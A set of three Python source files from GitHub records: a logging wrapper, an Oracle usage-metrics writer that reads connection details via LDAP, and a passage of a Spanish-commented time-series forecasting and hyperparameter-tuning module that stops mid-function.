{"seq_id":"40274581150","text":"# @Author: Henri Wenlin\n# @Date:   2020-02-27T14:53:02+02:00\n# @Email:  henri.wenlin@kone.com\n# @Filename: wenlins_logger.py\n# @Last modified by:   Henri Wenlin\n# @Last modified time: 2020-03-21T16:23:30+02:00\n\nimport logging\nimport sys\nimport zmq.log.handlers\n\nclass loggerClass():\n\tdef __init__(self, name = 'root',logging_level = 'info', file_logging = False, file_logging_level = 'debug', zmq_logging = False, zmq_port = 1003):\n\t\tself.name = name\n\t\tself.logger = logging.getLogger(name)\n\n\t\tif logging_level.lower() == 'debug':\n\t\t\tlogging_level = logging.DEBUG\n\t\telif logging_level.lower() == 'info':\n\t\t\tlogging_level = logging.INFO\n\t\telif logging_level.lower() == 'warning':\n\t\t\tlogging_level = logging.WARNING\n\t\telif logging_level.lower() == 'error':\n\t\t\tlogging_level = logging.ERROR\n\t\telif logging_level.lower() == 'critical':\n\t\t\tlogging_level = logging.CRITICAL\n\t\telse:\n\t\t\tsys.exit(\"Error at Wenlin's logger: Used logging level is not supported. Exiting...\")\n\n\t\tif file_logging_level.lower() == 'debug':\n\t\t\tfile_logging_level = logging.DEBUG\n\t\telif file_logging_level.lower() == 'info':\n\t\t\tfile_logging_level = logging.INFO\n\t\telif file_logging_level.lower() == 'warning':\n\t\t\tfile_logging_level = logging.WARNING\n\t\telif file_logging_level.lower() == 'error':\n\t\t\tfile_logging_level = logging.ERROR\n\t\telif file_logging_level.lower() == 'critical':\n\t\t\tfile_logging_level = logging.CRITICAL\n\t\telse:\n\t\t\tsys.exit(\"Error at Wenlin's logger: Used logging level is not supported. Exiting...\")\n\n\t\tif name == 'root':\n\t\t\troot = logging.getLogger()\n\t\t\troot.setLevel(logging_level)\n\t\telse:\n\t\t\troot = logging.getLogger()\n\t\t\troot.setLevel('DEBUG')\t\t\t# By this defenition, now all log messages are comming through to console logger. I don't know if this is not pythonic way...\n\n\t\tch = logging.StreamHandler()\n\t\tch.setLevel(logging_level)\n\t\tformatter = logging.Formatter('[{levelname:^17} : {name:^17}]: {message}',style='{')# + '[%(levelname)-7s : %(name)-11s] - %(message)s')\n\t\tch.setFormatter(formatter)\n\t\tif not [True for x in self.logger.handlers if x.__class__ == logging.StreamHandler]:\n\t\t\tself.logger.addHandler(ch)\n\t\tif file_logging and not [True for x in self.logger.handlers if x.__class__ == logging.FileHandler]:  # Initialize file handler?\n\t\t\t# Create file where logger prints\n\t\t\tfh = logging.FileHandler(name + '.log')\n\t\t\tfh.setLevel(file_logging_level)\n\t\t\t# create formatter and add it to the handlers\n\t\t\tformatter = logging.Formatter(\n\t\t\t\t'%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\t\t\tfh.setFormatter(formatter)\n\t\t\t# add the handlers to the logge\n\t\t\tself.logger.addHandler(fh)\n\t\tif zmq_logging and not [True for x in self.logger.handlers if x.__class__ == zmq.log.handlers.PUBHandlerr]:\n\t\t\thandler = zmq.log.handlers.PUBHandler('tcp://*:' + str(1103))\n\t\t\thandler.root_topic = self.name\n\t\t\tself.logger.addHandler(handler)\n\t\tself.logger.setLevel(logging_level)\n\n\tdef debug(self, msg):\n\t\tself.logger.debug(msg)\n\tdef info(self, msg):\n\t\tself.logger.info(msg)\n\tdef warning(self, msg):\n\t\tself.logger.warning(msg)\n\tdef error(self, msg):\n\t\tself.logger.error(msg)\n\tdef critical(self, msg):\n\t\tself.logger.critical(msg)\n\tdef exception(self, msg):\n\t\tself.logger.exception(msg)\n\n\nif __name__ == '__main__':\n\tlogger = loggerClass(name = 'Test logger', file_logging = True, logging_level = 'debug', file_logging_level = 'debug')\n\tdebug = logger.debug\n\tinfo = logger.info\n\twarning = logger.warning\n\terror = logger.error\n\tcritical = logger.critical\n\texception = logger.exception\n\tdebug('Debug')\n\tinfo('Info')\n\twarning('Warning')\n\terror('Error')\n\tcritical('Critical')\n\texception('Exception')\n\n\tlogger = loggerClass(name = 'Test logger', file_logging = True, logging_level = 'Info', file_logging_level = 'info')\n\tdebug = logger.debug\n\tinfo = logger.info\n\twarning = logger.warning\n\terror = logger.error\n\tcritical = logger.critical\n\texception = logger.exception\n\tdebug('Debug')\n\tinfo('Info')\n\twarning('Warning')\n\terror('Error')\n\tcritical('Critical')\n\texception('Exception')\n\n\tlogger = loggerClass(name = 'Test logger', file_logging = True, logging_level = 'Warning', file_logging_level = 'warning')\n\tdebug = logger.debug\n\tinfo = logger.info\n\twarning = logger.warning\n\terror = logger.error\n\tcritical = logger.critical\n\texception = logger.exception\n\tdebug('Debug')\n\tinfo('Info')\n\twarning('Warning')\n\terror('Error')\n\tcritical('Critical')\n\texception('Exception')\n\n\tlogger = loggerClass(name = 'Test logger', file_logging = True, logging_level = 'error', file_logging_level = 'error')\n\tdebug = logger.debug\n\tinfo = logger.info\n\twarning = logger.warning\n\terror = logger.error\n\tcritical = logger.critical\n\texception = logger.exception\n\tdebug('Debug')\n\tinfo('Info')\n\twarning('Warning')\n\terror('Error')\n\tcritical('Critical')\n\texception('Exception')\n\n\n\tlogger = loggerClass(name = 'Test logger', file_logging = True, logging_level = 'critical', file_logging_level = 'critical')\n\tdebug = logger.debug\n\tinfo = logger.info\n\twarning = logger.warning\n\terror = logger.error\n\tcritical = logger.critical\n\texception = logger.exception\n\tdebug('Debug')\n\tinfo('Info')\n\twarning('Warning')\n\terror('Error')\n\tcritical('Critical')\n\texception('Exception')\n\n\tlogger = loggerClass(name = 'Logging testing', file_logging = True, logging_level = 'debug', file_logging_level = 'debug1')\n\tdebug = logger.debug\n\tinfo = logger.info\n\twarning = logger.warning\n\terror = logger.error\n\tcritical = logger.critical\n\texception = logger.exception\n\tdebug('Debug')\n\tinfo('Info')\n\twarning('Warning')\n\terror('Error')\n\tcritical('Critical')\n\texception('Exception')\n","repo_name":"Wenlin88/ble-sensors","sub_path":"ble_sensors/wenlins_logger.py","file_name":"wenlins_logger.py","file_ext":"py","file_size_in_byte":5509,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"28949538577","text":"import datetime\nimport json\nimport re\n\nimport cx_Oracle\nimport subprocess\n\nSCHEMA_NAME = \"usagemetrics\"\n\n\nclass MetricsWriter:\n    ORACLE_DESC_FIELD_NAME = 'orclNetDescString'\n\n    def __init__(self, ldap_host, ldap_query, username, password, acctdb):\n        print(f\"Connect with {ldap_host} {ldap_query}\")\n        # Query LDAP for db connect information.\n        args = ['ldapsearch', '-x', '-H', f\"ldaps://{ldap_host}\", '-b', ldap_query, '-s', 'sub', f\"(&(cn={acctdb})(objectClass=orclNetService))\", 'orclNetDescString']\n        print(\"Running command with args: \" + str(args))\n        output = subprocess.check_output(args).decode('utf-8').replace(\"\\n\", '').replace(\" \", \"\")\n        match = re.search(\"HOST=([A-Za-z0-9.]+).*PORT=([0-9]+).*SERVICE_NAME=([a-zA-Z0-9.]+)\", output)\n        host = match.group(1)\n        port = match.group(2)\n        service = match.group(3)\n        # Construct db connect information with parsed details from LDAP.\n        self.connection = cx_Oracle.connect(\n            user=username,\n            password=password,\n            dsn=f\"{host}:{port}/{service}\",\n            encoding='utf-8')\n\n    def create_job(self, report_id, start_month, start_year, project_id):\n        sql = '''INSERT INTO {0}.reports (report_id, report_month, report_year, report_time, project_id) \n                    VALUES(:1,:2,:3,:4,:5)'''.format(SCHEMA_NAME)\n        cursor = self.connection.cursor()\n        cursor.execute(sql, [report_id, start_month, start_year, datetime.datetime.now(), project_id])\n        self.connection.commit()\n\n    def write_analysis_histogram(self, df, report_id):\n        sql = '''\n        INSERT INTO {0}.analysishistogram \n            (report_id, count_bucket, registered_users_analyses, guests_analyses, registered_users_filters, guests_filters, registered_users_visualizations, guest_users_visualizations) \n            VALUES(:1,:2,:3,:4,:5,:6,:7,:8)\n        '''.format(SCHEMA_NAME)\n        print(df.to_string())\n        df = df.fillna(0)\n        for (bucket, data) in df.iterrows():\n            print([report_id, bucket,\n                   data['registered_users_with_analysis_count'],\n                   data['guest_users_with_analysis_count'],\n                   data['registered_users_with_filter_count'],\n                   data['guest_users_with_filter_count'],\n                   data['registered_users_with_viz_count'],\n                   data['guest_users_with_viz_count']])\n            cursor = self.connection.cursor()\n            cursor.execute(sql, [report_id, bucket,\n                                 data['registered_users_with_analysis_count'],\n                                 data['guest_users_with_analysis_count'],\n                                 data['registered_users_with_filter_count'],\n                                 data['guest_users_with_filter_count'],\n                                 data['registered_users_with_viz_count'],\n                                 data['guest_users_with_viz_count']])\n            self.connection.commit()\n\n    def write_downloads_by_study(self, df, report_id):\n        sql = '''\n        INSERT INTO {0}.downloadsperstudy \n            (report_id, study_id, num_users_full_download, num_users_subset_download) \n            VALUES(:1,:2,:3,:4)\n        '''.format(SCHEMA_NAME)\n        df = df.fillna(0)\n        print(\"Data frame to write: \" + df.to_string())\n        cursor = self.connection.cursor()\n        for (study_name, data) in df.iterrows():\n            try:\n                cursor.execute(sql, [report_id, study_name] + list(data.values))\n            except:\n                print(\"Failed while trying to write \" + str(list(data.values)) + \" \" + str(report_id) + \" \" + str(study_name))\n                exit(-1)\n            print([report_id, study_name, data[\"file_downloads\"], data[\"subset_downloads\"]])\n        self.connection.commit()\n\n    def write_analysis_metrics_by_study(self, df, report_id):\n        sql = '''\n        INSERT INTO {0}.analysismetricsperstudy \n            (report_id, dataset_id, analysis_count, shares_count) \n            VALUES(:1,:2,:3,:4)\n        '''.format(SCHEMA_NAME)\n        df = df.fillna(0)\n        cursor = self.connection.cursor()\n        for (_, data) in df.iterrows():\n            cursor.execute(sql, [report_id, data['study_id'], data['analysis_count'], data['shares_count']])\n            print([report_id, data['study_id'], data['analysis_count'], data['shares_count']])\n        self.connection.commit()\n\n    def write_raw_analysis(self, raw_metrics, report_id):\n        sql = '''\n            UPDATE {0}.reports\n              SET raw_analysis_data = :1\n              WHERE report_id = :2\n        '''.format(SCHEMA_NAME)\n        cursor = self.connection.cursor()\n        cursor.execute(sql, [json.dumps(raw_metrics), report_id])\n        self.connection.commit()\n\n    def write_aggregate_stats(self, stats, report_id, user_type):\n        sql = f'INSERT INTO {SCHEMA_NAME}.aggregateuserstats (report_id, user_category, num_users, num_analyses, num_filters, num_visualizations) VALUES(:1,:2,:3,:4,:5,:6)'\n        cursor = self.connection.cursor()\n        cursor.execute(sql, [report_id, user_type, stats['numUsers'], stats['numAnalyses'], stats['numFilters'], stats['numVisualizations']])\n        self.connection.commit()\n        print([report_id, user_type, stats['numUsers'], stats['numAnalyses'], stats['numFilters'], stats['numVisualizations']])\n","repo_name":"VEuPathDB/tool-eda-metric-reporter","sub_path":"src/usagemetrics/metrics_writer.py","file_name":"metrics_writer.py","file_ext":"py","file_size_in_byte":5397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"11853119957","text":"import pandas as pd\nimport numpy as np \nimport csv\nimport modelos\n\nfrom sklearn.preprocessing import MinMaxScaler\n\nfrom matplotlib import pyplot as plt\n\nfrom timeit import default_timer as timer\n\nID_TO_MODELNAME = {0:'lstm', 1:'randomForest', 2:'adaBoost', 3:'svm', 4:'arima', 5:'lstmNoSW'}\n\ndef inverse_transform(data, scaler, n_features):\n\t\"\"\"\n\t\tFunción que invierte el escalamiento de los datos, es decir pasa de datos escalados a datos originales.\n\n\t\tParámetros:\n\t\t- data -- Arreglo de numpy, arreglo con los valores escalados\n\t\t- scaler -- instancia de MinMaxScaler, escalador para invertir el escalamiento\n\t\t- n_features -- Entero, número de variables en los datos originales\n\n\t\tRetorna:\n\t\t- data -- Arreglo de numpy, arreglo con los valores en escala original\n\n\t\"\"\"\n\tdata = data.copy()\n\tassert type(data) == np.ndarray\n\tif(data.ndim == 1): data = data.reshape(-1, 1)\n\tassert data.ndim == 2\n\tfor i in range(data.shape[1]):\n\t\ttmp = np.zeros((data.shape[0], n_features))\n\t\ttmp[:, 0] = data[:, i]\n\t\tdata[:, i] = scaler.inverse_transform(tmp)[:, 0]\n\treturn data\n\ndef normalize_data(values, scale=(0,1)):\n\t\"\"\"\n\t\tFunción para normalizar los datos, es decir, escalarlos en una escala que por *default* es [-1, 1]\n\n\t\tParámetros:\n\t\t- values -- Arreglo de numpy, los datos\n\t\t- scaler -- Tupla de 2 valores, escala a la cual se quiere escalar los datos\n\n\t\tRetorna:\n\t\t- scaled -- Arreglo de numpy, los datos escalados\n\t\t- scaler -- Instancia de MinMaxScaler, para luego revertir el proceso de escalamiento\n\t\"\"\"\n\t# Be sure all values are numbers\n\tvalues = values.astype('float32')\n\t# scale the data\n\tscaler = MinMaxScaler(feature_range=scale)\n\tscaled = scaler.fit_transform(values)\n\treturn scaled, scaler\n\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\n\t\"\"\"\n\t\tFunción que convierte la serie de tiempo en datos supervisados para el modelo, es decir cambia el formato de (número de ejemplos, número de *features*) \n\t\tpor (número de ejemplos, número de *lags*, número de *features*)\n\n\t\tParámetros:\n\t\t- data -- Arreglo de numpy, la serie completa de los datos\n\t\t- n_in -- Entero, número de *lags* o resagos de tiempo, *default* es 1\n\t\t- n_out -- Entero, número de *time steps* a predecir en el futuro, *default* es 1\n\t\t- dropnan -- Booleano, indica si se eliminan los valores de Nan del *dataframe* resultante\n\n\t\tRetorna:\n\t\t- agg -- *Dataframe* de pandas, *dataframe* con todas las variables en el nuevo formato, sus nombres de columnas son del tipo: \"var3(t+2)\"\n\n\t\"\"\"\n\tn_vars = 1 if type(data) is list else data.shape[1]\n\tdf = pd.DataFrame(data)\n\tcols, names = list(), list()\n\t# input sequence (t-n, ... t-1)\n\tfor i in range(n_in, 0, -1):\n\t\tcols.append(df.shift(i))\n\t\tnames += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\n\t# forecast sequence (t, t+1, ... t+n)\n\tfor i in range(0, n_out):\n\t\tcols.append(df.shift(-i))\n\t\tif i == 0:\n\t\t\tnames += [('var%d(t)' % (j+1)) for j in range(n_vars)]\n\t\telse:\n\t\t\tnames += [('var%d(t+%d)' % (j+1, i)) for j in range(n_vars)]\n\t# put it all together\n\tagg = pd.concat(cols, axis=1)\n\tagg.columns = names\n\t# drop rows with NaN values\n\tif dropnan:\n\t\tagg.dropna(inplace=True)\n\treturn agg\n\ndef transform_values(data, n_lags, n_series, dim):\n\t\"\"\"\n\t\tFunción para preprocesar la serie de entrada, primero le cambia el formato a (número de ejemplos, número de *lags* X número de *features*), luego divide estos datos en \n\t\tentrenamiento, validación y *testing* adicionalmente retorna los últimos valores para la predicción.\n\n\t\tParámetros:\n\t\t- data -- Arreglo de numpy, serie de observaciones ordenada según orden cronológico\n\t\t- n_lags -- Entero, el número de *lags* que se usaran para entrenar\n\t\t- n_series -- Entero, el número de *time steps* a predecir en el futuro\n\t\t- dim -- Booleano, denota si se reformatea los valores de entrenamiento resultantes, es decir si se cambia el formato de (número de ejemplos, número de *lags* X número de *features*) a (número de ejemplos, número de *lags*, número de *features*)\n\n\t\tRetorna:\n\t\t- train_X -- Arreglo de numpy, datos de entrenamiento\n\t\t- val_X -- Arreglo de numpy, datos de valdiación\n\t\t- test_X -- Arreglo de numpy, datos de *testing*\n\t\t- train_y -- Arreglo de numpy, observaciones de tiempos futuros de entrenamiento\n\t\t- val_y -- Arreglo de numpy, observaciones de tiempos futuros de validación\n\t\t- test_y -- Arreglo de numpy, observaciones de tiempos futuros de *testing\n\t\t- last_values -- Arreglo de numpy, últimos datos apra hacer la predicción *out of sample*\n\n\n\t\"\"\"\n\ttrain_size = 0.6\n\tval_size =0.2\n\ttest_size = 0.2\n\tn_features = data.shape[1]\n\treframed = series_to_supervised(data, n_lags, n_series)\n\n\tvalues = reframed.values # if n_lags = 1 then shape = (349, 100), if n_lags = 2 then shape = (348, 150)\n\t# n_examples for training set\n\tn_train = int(values.shape[0] * train_size)\n\tn_val = int(values.shape[0] * val_size)\n\ttrain = values[:n_train, :]\n\tval = values[n_train:n_train + n_val, :]\n\ttest = values[n_train + n_val:, :]\n\t# observations for training, that is to say, series in the times (t-n_lags:t-1) taking t-1 because observations in time t is for testing\n\tn_obs = n_lags * n_features\n\n\t# for only testing y, y only contains target variable in different times\n\tcols = ['var1(t)']\n\tcols += ['var1(t+%d)' % (i) for i in range(1, n_series)]\n\ty_o = reframed[cols].values\n\ttrain_o = y_o[:n_train]\n\tval_o = y_o[n_train:n_train + n_val]\n\ttest_o = y_o[n_train + n_val:]\n\n\ttrain_X, train_y = train[:, :n_obs], train_o[:, -n_series:]\n\tval_X, val_y = val[:, :n_obs], val_o[:, -n_series:]\n\ttest_X, test_y = test[:, :n_obs], test_o[:, -n_series:]\n\n\t# reshape train data to be 3D [n_examples, n_lags, features]\n\tif(dim):\n\t\ttrain_X = train_X.reshape((train_X.shape[0], n_lags, n_features))\n\t\tval_X = val_X.reshape((val_X.shape[0], n_lags, n_features))\n\t\ttest_X = test_X.reshape((test_X.shape[0], n_lags, n_features))\n\t\tlast_values = reframed.loc[list(reframed.index)[-1], list(reframed.columns)[-n_lags*n_features:]].values.reshape(1, n_lags, n_features)\n\telse:\n\t\tlast_values = reframed.loc[list(reframed.index)[-1], list(reframed.columns)[-n_lags*n_features:]].values.reshape(1, -1)\n\n\treturn train_X, val_X, test_X, train_y, val_y, test_y, last_values\n\n\ndef plot_data(data, labels, title):\n\t\"\"\"\n\t\tFunción para graficar los datos resultantes, solo sirve para las predicciones a 1 *time step*\n\n\t\tParámetros:\n\t\t- data -- Lista de dos valores, lista con las predicciones y las observaciones\n\t\t- labels -- Lista de dos valores, lista con las etiquetas de los datos para mostrar en el gráfico\n\t\t- title -- String, título del gráfico\n\n\t\tRetorna:\n\t\tNADA\n\n\t\"\"\"\n\tplt.figure()\n\tfor i in range(len(data)):\n\t\tplt.plot(data[i], label=labels[i])\n\tplt.suptitle(title, fontsize=16)\n\tplt.legend()\n\tplt.show()\n\ndef plot_data_lagged_blocks(data, labels, title):\n\t\"\"\"\n\t\tFunción para graficar los datos resultantes, sirve más que todo para las predicciones a más de un *time step*. Lo que hace es ponerle un *padding* a las predicciones\n\t\tpara que queden en el tiempo que están prediciendo, es decir, si *time steps* es 10, la priemra predicción se hará para el tiempo 0 y tendrá las predicciones hasta el\n\t\ttiempo 9, la segunda predicción se hará en el tiempo 10 y tendra las predicciones del tiempo 10 al 19, etc.\n\n\t\tParámetros:\n\t\t- data -- Lista de dos valores, lista con las predicciones y las observaciones, es necesario que la primera posición sean las observaciones y la segunda las predicciones\n\t\t- labels -- Lista de dos valores, lista con las etiquetas de los datos para mostrar en el gráfico\n\t\t- title -- String, título del gráfico\n\n\t\tRetorna:\n\t\tNADA\n\t\n\t\"\"\"\n\tplt.figure()\n\tplt.plot(data[0], label=labels[0])\n\tfor i in range(0, len(data[1]), len(data[1][0])):\n\t\tpadding = [None for _ in range(i)]\n\t\tplt.plot(padding + list(data[1][i]), label=labels[1] + str(i+1))\n\tplt.suptitle(title, fontsize=16)\n\tplt.legend(loc=9, bbox_to_anchor=(0.5, -0.1), ncol=2)\n\tplt.show()\n\ndef diff(values):\n\t\"\"\"\n\t\tFunción que sirve para diferenciar una serie\n\t\n\t\tParámetros:\n\t\t- values -- Arreglo de numpy | lista, serie que va a ser diferenciada \n\n\t\tRetorna:\n\t\t- new -- Lista, lista con la serie diferenciada\n\n\t\"\"\"\n\tnew = np.zeros(len(values)-1)\n\tfor i in range(len(new)):\n\t\tnew[i] = values[i+1] - values[i]\n\treturn new\n\n\ndef calculate_diff_level_for_stationarity(values, scaler, maxi):\n\t\"\"\"\t\n\t\tFunción que sirve para calcular el nivel de diferenciación necesario para que una serie sea estacionaria\n\t\t\n\t\tParámetros:\n\t\t- values -- Arreglo de numpy, serie sobre la cual se va a calcular el nivel de diferenciación necesario\n\t\t- scaler -- Instancia de la clase MinMaxScaler de sklearn, sirve para revertir el escalamiento de la serie\n\t\t- maxi -- Entero, valor maximo de diferenciación permitido, si se llega a este limite y la serie no es estacionaria se devolverá maxi como el nivel de diferenciación\n\n\t\tRetorna:\n\t\t- maxi | i -- Entero, mínimo nivel de diferenciación para que la serie sea estacionaria, o máximo número en el que se diferenció en el caso de que la serie no se haya logrado poner estacionaria\n\n\t\"\"\"\n\tfrom statsmodels.tsa.stattools import adfuller\n\n\treal_values = scaler.inverse_transform(values)\n\tserie = real_values[:, 0]\n\tfor i in range(maxi):\n\t\tresult = adfuller(serie)\n\t\tif(result[0] < result[4]['5%']):\n\t\t\treturn i\n\t\tserie = diff(serie)\n\treturn maxi\n\ndef objective(params, id_model, values, scaler, n_features, n_series, verbosity, model_file_name, MAX_EVALS, returns):\n\t\"\"\"\n\t\tFunción objetivo que sirve para la optimización bayesiana, sirve para ejecutar el modelo con los parámetros recibidos, calcular el error de esta ejecución y así decidir\n\t\tcuales parámetros son mejores.\n\t\t\n\t\tParámetros:\n\t\t- params -- Diccionario, contien los parametros para la ejecución, estos parámetros son dados por la libreria de optimización bayesiana (bayes_opt) dentro de un espacio previamente definido\n\t\t- id_model -- Entero, id del modelo que se va a entrenar\n\t\t- values -- Arreglo de numpy, datos con los cuales se va a entrenar el modelo, es decir, la serie previamente preprocesada\n\t\t- scaler -- Instancia de la clase MinMaxScaler de sklearn, sirve para el escalamiento de los datos y para revertir este escalamiento\n\t\t- n_features -- Entero, número de *features* de la serie\n\t\t- n_series -- Entero, número de *time steps*\n\t\t- verbosity -- Entero, nivel de verbosidad de la ejecución\n\t\t- model_file_name -- String, nombre del archivo donde se guardará y/o se cargará el modelo entrenado\n\t\t- MAX_EVALS -- Entero, número máximo  de iteraciones de la optimización bayesiana, en esta función sirve para identificar el archivo de los logs\n\t\t\n\t\tRetorna:\n\t\t- [valor] -- Flotante, dicconario que retorna la \"recompensa\" de esta ejecución, la idea es maximizarla, por eso el \"error\" de la ejecución se invierte\n\n\t\"\"\"\n\t# Keep track of evals\n\tglobal ITERATION\n\n\tITERATION += 1\n\tout_file = 'trials/gbm_trials_' + ID_TO_MODELNAME[id_model] + '_' + str(MAX_EVALS) + '.csv'\n\t# print(ITERATION, params)\n\n\tcalc_val_error = True\n\tcalc_test_error = False\n\tif(id_model == 0):\n\t\tif(model_file_name == None): model_file_name = 'models/trials-lstm.h5'\n\n\t\t# Make sure parameters that need to be integers are integers\n\t\tfor parameter_name in ['n_lags', 'n_epochs', 'batch_size', 'n_hidden', 'n_dense', 'n_rnn', 'activation']:\n\t\t\tparams[parameter_name] = int(params[parameter_name])\n\n\t\tstart = timer()\n\t\ttrain_X, val_X, test_X, train_y, val_y, test_y, last_values = transform_values(values, params['n_lags'], n_series, 1)\n\t\trmse, rmse_val, _, _, val_y, y_hat_val, _, dir_acc, _ = modelos.model_lstm(train_X, val_X, test_X, train_y, val_y, test_y, n_series, params['n_epochs'], params['batch_size'], params['n_hidden'], n_features, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\tparams['n_lags'], scaler, last_values, calc_val_error, calc_test_error, verbosity, False, model_file_name, params['n_rnn'], params['n_dense'], params['activation'], params['drop_p'], returns)\n\t\tif(returns):\n\t\t\tmean = np.mean(np.abs(val_y))\n\t\t\tstd = np.std(val_y)\n\t\t\tprint('rmse:', rmse_val, 'std: ', np.std(y_hat_val))\n\t\t\tprint('mean: ', mean, 'std_y: ', std)\n\t\t\tprint('inputs -> error: ', np.abs(rmse_val-mean)/mean, 'deviation: ', (np.abs(std-np.std(y_hat_val)))/std)\n\t\t\trmse = np.abs(rmse_val-mean)/mean + (np.abs(std-np.std(y_hat_val)))/std\n\t\telse:\n\t\t\tmean = np.mean(np.abs(val_y))\n\t\t\trmse = rmse_val/mean + (1 - dir_acc)\n\t\trun_time = timer() - start\n\t\t# print('no_score: ', rmse)\n\t\t# print('time: ', run_time, end='\\n\\n')\n\telif(id_model == 1):\n\t\tif(model_file_name == None): model_file_name = 'models/trials-randomForest.joblib'\n\n\t\t# Make sure parameters that need to be integers are integers\n\t\tfor parameter_name in ['n_lags', 'n_estimators', 'max_features', 'min_samples']:\n\t\t\tparams[parameter_name] = int(params[parameter_name])\n\n\t\tstart = timer()\n\t\ttrain_X, val_X, test_X, train_y, val_y, test_y, last_values = transform_values(values, params['n_lags'], n_series, 0)\n\t\trmse, rmse_val, _, _, _, _, _, dir_acc, _ = modelos.model_random_forest(train_X, val_X, test_X, train_y, val_y, test_y, n_series, params['n_estimators'], params['max_features'], params['min_samples'], \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tn_features, params['n_lags'], scaler, last_values, calc_val_error, calc_test_error, verbosity, False, model_file_name, returns)\n\t\tif(returns):\n\t\t\trmse = rmse_val\n\t\telse:\n\t\t\tmean = np.mean(np.abs(val_y))\n\t\t\trmse = rmse_val/mean + (1 - dir_acc)\n\t\trun_time = timer() - start\n\t\t# print('no_score: ', rmse)\n\t\t# print('time: ', run_time, end='\\n\\n')\n\telif(id_model == 2):\n\t\tif(model_file_name == None): model_file_name = 'models/trials-adaBoost.joblib'\n\t\t# Make sure parameters that need to be integers are integers\n\t\tfor parameter_name in ['n_lags', 'n_estimators', 'max_depth']:\n\t\t\tparams[parameter_name] = int(params[parameter_name])\n\n\t\tstart = timer()\n\t\ttrain_X, val_X, test_X, train_y, val_y, test_y, last_values = transform_values(values, params['n_lags'], n_series, 0)\n\t\trmse, rmse_val, _, _, _, _, _, dir_acc, _ = modelos.model_ada_boost(train_X, val_X, test_X, train_y, val_y, test_y, n_series, params['n_estimators'], params['lr'], params['max_depth'], n_features, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tparams['n_lags'], scaler, last_values, calc_val_error, calc_test_error, verbosity, False, model_file_name, returns)\n\t\tif(returns):\n\t\t\trmse = rmse_val\n\t\telse:\n\t\t\tmean = np.mean(np.abs(val_y))\n\t\t\trmse = rmse_val/mean + (1 - dir_acc)\n\t\trmse = rmse_val/mean + (1 - dir_acc)\n\t\trun_time = timer() - start\n\t\t# print('no_score: ', rmse)\n\t\t# print('time: ', run_time, end='\\n\\n')\n\telif(id_model == 3):\n\t\tif(model_file_name == None): model_file_name = 'models/trials-svm.joblib'\n\t\t# Make sure parameters that need to be integers are integers\n\t\tfor parameter_name in ['n_lags']:\n\t\t\tparams[parameter_name] = int(params[parameter_name])\n\n\t\tstart = timer()\n\t\ttrain_X, val_X, test_X, train_y, val_y, test_y, last_values = transform_values(values, params['n_lags'], n_series, 0)\n\t\trmse, rmse_val, _, _, _, _, _, dir_acc, _ = modelos.model_svm(train_X, val_X, test_X, train_y, val_y, test_y, n_series, n_features, params['n_lags'], scaler, last_values, calc_val_error, calc_test_error, \n\t\t\t\t\t\t\t\t\t\t\t\t\tverbosity, False, model_file_name, returns)\n\t\tif(returns):\n\t\t\trmse = rmse_val\n\t\telse:\n\t\t\tmean = np.mean(np.abs(val_y))\n\t\t\trmse = rmse_val/mean + (1 - dir_acc)\n\t\trmse = rmse_val/mean + (1 - dir_acc)\n\t\trun_time = timer() - start\n\t\t# print('no_score: ', rmse)\n\t\t# print('time: ', run_time, end='\\n\\n')\n\telif(id_model == 4):\n\t\tif(model_file_name == None): model_file_name = 'models/arima.pkl'\n\t\t# Make sure parameters that need to be integers are integers\n\t\tfor parameter_name in ['n_lags', 'd', 'q']:\n\t\t\tparams[parameter_name] = int(params[parameter_name])\n\n\t\tstart = timer()\n\t\twall = int(len(values)*0.6)\n\t\twall_val= int(len(values)*0.2)\n\t\ttrain_X, val_X, test_X, last_values = values[:wall, :], values[wall:wall+wall_val,:], values[wall+wall_val:-1,:], values[-1,:]\n\t\ttrain_y, val_y, test_y = values[1:wall+1,0], values[wall+1:wall+wall_val+1,0], values[wall+wall_val+1:,0]\n\t\tstart = timer()\n\t\trmse, rmse_val, y, y_hat, y_valset, y_hat_val, last, dir_acc, model = modelos.model_arima(train_X, val_X, test_X, train_y, val_y, test_y, n_series, params['d'], params['q'], n_features, params['n_lags'], scaler, last_values, calc_val_error, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcalc_test_error, verbosity, False, model_file_name, returns)\n\t\tif(returns):\n\t\t\trmse = rmse_val\n\t\telse:\n\t\t\tmean = np.mean(np.abs(val_y))\n\t\t\trmse = rmse_val/mean + (1 - dir_acc)\n\t\trun_time = timer() - start\n\t\t# print('no_score: ', rmse)\n\t\t# print('time: ', run_time, end='\\n\\n')\n\n\t# Write to the csv file\n\tof_connection = open(out_file, 'a')\n\twriter = csv.writer(of_connection)\n\twriter.writerow([rmse, params, ITERATION, run_time])\n\tof_connection.close()\n\n\treturn -1 * rmse\n\ndef bayes_optimization(id_model, MAX_EVALS, values, scaler, n_features, n_series, original, verbosity, model_file_name, returns):\n\t\"\"\"\n\t\tFunción para encontrar los parámetros óptimos para un modelo\n\t\t\n\t\tParámetros:\n\t\t- id_model -- Entero, id del modelo que se va a entrenar\n\t\t- MAX_EVALS -- Entero, número máximo  de iteraciones de la optimización bayesiana\n\t\t- values -- Arreglo de numpy, datos con los cuales se va a entrenar el modelo, es decir, la serie previamente preprocesada\n\t\t- scaler -- Instancia de la clase MinMaxScaler de sklearn, sirve para el escalamiento de los datos y para revertir este escalamiento\n\t\t- n_features -- Entero, número de *features* de la serie\n\t\t- n_series -- Entero, número de *time steps*\n\t\t- original -- Booleano, denota si se van a usar los *features* originales de la serie o los *features* seleccionados, en esta función serviría para identificar el archivo de salida\n\t\t- verbosity -- Entero, nivel de verbosidad de la ejecución\n\t\t- model_file_name -- String, nombre del archivo donde se guardará y/o se cargará el modelo entrenado\n\t\t\n\t\tRetorna: \n\t\t- best -- Diccionario, diccionario con los mejores parámetros encontrados en la optimización bayesiana\n\t\"\"\"\n\tfrom bayes_opt import BayesianOptimization\n\n\tglobal ITERATION\n\tITERATION = 0\n\n\tif(id_model == 0):\n\t\tif(n_series == 1):\n\t\t\tspace = {'activation': 